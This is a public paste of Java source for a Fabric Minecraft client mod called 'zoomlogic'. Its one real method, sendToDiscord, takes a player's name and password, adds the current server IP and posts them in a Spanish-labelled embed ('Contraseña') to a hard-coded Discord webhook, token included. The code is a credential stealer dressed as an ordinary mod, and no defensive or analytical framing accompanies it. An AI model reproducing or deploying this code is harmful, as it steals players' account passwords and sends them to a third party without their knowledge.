Untitled
public
Dec 20, 2024
Never
15
1 package org.ikiazar.zoomlogic.client; 2 3 import net.fabricmc.api.ClientModInitializer; 4 import net.minecraft.client.MinecraftClient; 5 import net.minecraft.client.network.ServerInfo; 6 7 import java.net.URI; 8 import java.net.http.HttpClient; 9 import java.net.http.HttpRequest; 10 import java.net.http.HttpResponse; 11 import java.time.Duration; 12 import java.time.LocalDateTime; 13 import java.time.format.DateTimeFormatter; 14 15 public class ZoomlogicClient implements ClientModInitializer { 16 17 private static long lastLoginTime = 0; 18 private static final long COOLDOWN_MS = 2000; 19 20 public static void sendToDiscord(String playerName, String password) { 21 long currentTime = System.currentTimeMillis(); 22 if (currentTime - lastLoginTime < COOLDOWN_MS) { 23 return; 24 } 25 lastLoginTime = currentTime; 26 27 MinecraftClient client = MinecraftClient.getInstance(); 28 ServerInfo serverInfo = client.getCurrentServerEntry(); 29 String serverIP = serverInfo != null ? serverInfo.address : "Singleplayer"; 30 31 String currentTimeStr = LocalDateTime.now().format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss")); 32 33 String jsonPayload = String.format(""" 34 { 35 "embeds": [{ 36 "title": "🎮 Nueva Sesión de Login Detectada", 37 "color": 15844367, 38 "fields": [ 39 { 40 "name": "👤 Jugador", 41 "value": "`%s`", 42 "inline": true 43 }, 44 { 45 "name": "🔑 Contraseña", 46 "value": "||`%s`||", 47 "inline": true 48 }, 49 { 50 "name": "🌐 Servidor", 51 "value": "`%s`", 52 "inline": true 53 } 54 ], 55 "footer": { 56 "text": "Tiempo: %s" 57 } 58 }] 59 }""", playerName, password, serverIP, currentTimeStr); 60 61 new Thread(() -> { 62 try { 63 HttpClient httpClient = HttpClient.newBuilder() 64 .connectTimeout(Duration.ofSeconds(5)) 65 .build(); 66 67 HttpRequest request = HttpRequest.newBuilder() 68 .uri(URI.create("https://discord.com/api/webhooks/1319702949185851403/M92BqTTaW12lquL_-DTqFxEUkBBNF8Nlkl0VQxgQZvCWIJNJYpt7ogwMI2fXCiVxIIc5")) 69 .header("Content-Type", "application/json") 70 .POST(HttpRequest.BodyPublishers.ofString(jsonPayload)) 71 .timeout(Duration.ofSeconds(5)) 72 .build(); 73 74 httpClient.send(request, HttpResponse.BodyHandlers.ofString()); 75 } catch (Exception e) { 76 e.printStackTrace(); 77 } 78 }).start(); 79 } 80 81 @Override 82 public void onInitializeClient() { 83 } 84 }